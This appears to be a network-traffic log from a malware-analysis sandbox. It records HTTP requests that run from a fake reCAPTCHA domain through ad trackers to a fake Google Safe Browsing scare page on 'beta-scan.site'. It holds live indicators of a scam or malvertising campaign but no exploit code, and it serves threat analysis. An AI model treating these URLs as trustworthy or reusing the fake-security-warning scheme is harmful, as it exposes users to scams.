Source: global traffic	HTTP traffic detected: GET /dc?pl=pUDXrZrnZkywHW1RPUuKlQ&cid=d5c93091-29b0-4730-a28e-4d844c1a45a9&sub_id=l92848&ccode=US HTTP/1.1Host: rtb.altairfomalhaut.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20241003?k=U44lsCOixoLdPVTqQDAVt33hSwCn8Oi6-ady7gSLDQv6Gqyq4Owim4xM6D1auzWervMQ-DlA3DRt2HY_--UtM7HWutlvs97OkAGFQoWboc952kpHR1Q2fKfJufmageMnrbBSCF7sw7hsqSVLJYZfIYTz2Losd_bqjYxfZN6QK3T-7TQP9VO4ALBUhoeqNQvW0xezb3dxvVHUvJRqRkwanr9MPAvh_PHQ9wQTa000ngX2io5op-hW9u-ZbpvmmzCWnfQ_IW83XknX1WAmVxwjeeodHQQhpef1NeKDWlr6ttTrSe5sgPkvWbBE2EKw4q62h_STOIubizalkAgaUJbqZUPzYOLsRL3yS6FoWRPXh1U4FhzNV16Mnv0YI3qQbCHutAQPrwjK-8Nbd3QIjH3E68g4o460dYQ2Ea3ZpQ4UbwqKWXBl8qvwAiJ1-mD7gkx6P_AhZ7nH2HXcqFsVRhK95MmLRRuOq8kWD9aF9BAzYQQdsq8F4yxorEs-5_liyOShzBG1cRqsVeHiqJeC-ZDBVPt0__BxRdfC1mD-akPmr_UpaRfZhg2BUJjTK-a4GR_uwVsOu5U0yz6q4jimE--w9X3fVqRJ3RvFpWmN0lQ-rUJ8CIzQoWdUtyGoq0Zn4fCTncH8Xpy4PEDnecow5HpX0ovMlQds-kAk1589rQrnxgX1EOSkkgqnRG6Kt6TwoZjLQoW19FfMUotnrIrKc4JjetfNekqAvJjfR1uh0RgHnyewIC-DGhL1lJ8yE0q7r253R2qkFkBdEboIECxf-Tw0e0rpd7I0siJUTnqiTM9M2VfMSM_ThSoFO9Y-Bmphm2W0SnNi1GX0pDkAn3WG_vmywKf_wZ4QymBFYW2jOn59Aduhrh6S0RrsippRRZfco_8vOu-Rc6QslBbum_bs3YT64WQkT8aAgdx1Yj2lW8AOW_r9LYt_Rbki3XHZWhJP5iVovhK5FNUTsF0d9HmvLnoCpVB7woCnzRcGliPky2lvOPrqgiwlWC6VSjAFBo-N2LlNsTX33xOm_-UEdYNJYkMsxQ==&n=19&d=df53cb39-6915-4d0c-99c4-537392e95846&v=17&sv=17&dn=re-captha-version-4-21.buzz&dmi=1726252&s=ins HTTP/1.1Host: pshmtrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://re-captha-version-4-21.buzz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?s58=jyOgdF5Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPet8g7giv%2B91eGUhptpGXmzeTfzvuddhSKV4LOBOg3tBybz%2FoV93wsGNLrziAvBwFNgVCPQwMd6YphHa5v%2B%2BF7qybsoTk%2FiFyy56LG9Q0mRm3RuI0u9DhOHMpZSK9e9UKgmY5chxRFnVS9XzcjCOCh8IuekiGH7gcqA5Fwlubhgj76Oa5JSxJWxWQPdJTvgTC6vtwPTghJv4PIIF6CcMz8MIsqj3LaF1RhmDz%2BMlN%2B8nuu6U2yuT6JqQyIqRtXvhOA4NRG%2BBDxbAuO%2BldGqWk658y36vsmyKp7rONHAMgW9mz8rrW&brid=PB04-0HN6JRJINBG0M4IRS&type=2&inst=b04 HTTP/1.1Host: psh-dsp-trk.trkless.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yVxFCdyegYPdutC&MD=5BdTG2r4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/styles/default.css HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/smart.js HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/lang.js HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/myjs.js HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/aHR0cHM6Ly9iZXRhLXNjYW4uc2l0ZS9jMWQ1bDJrLnBocD9rZXk9Zzgwa2Qyd25yaWUzeXRzN21hNDUmY29zdD0wLjA5MDAwJmNhbXBfaWQ9NzY2NzE2JmNvdW50cnk9VVMmcGxhdGZvcm09V2luZG93cyZ6b25lX2lkPSZzb3VyY2VfaWQ9 HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/Family_Image_home.webp HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/landers/gsb/GSB/files/styles/default.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/smart.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/lang.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/script/myjs.js HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_3.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_4.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/safe-browser-logo.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/country.svg HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/aHR0cHM6Ly9iZXRhLXNjYW4uc2l0ZS9jMWQ1bDJrLnBocD9rZXk9Zzgwa2Qyd25yaWUzeXRzN21hNDUmY29zdD0wLjA5MDAwJmNhbXBfaWQ9NzY2NzE2JmNvdW50cnk9VVMmcGxhdGZvcm09V2luZG93cyZ6b25lX2lkPSZzb3VyY2VfaWQ9 HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_1.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_2.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_3.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_4.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/country.svg HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/Family_Image_home.webp HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/atten.png HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/safe-browser-logo.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_1.gif HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_2.gif HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/icon_1.png HTTP/1.1Host: beta-scan.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
Source: global traffic	HTTP traffic detected: GET /landers/gsb/GSB/files/images/action_3.gif HTTP/1.1Host: beta-scan.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
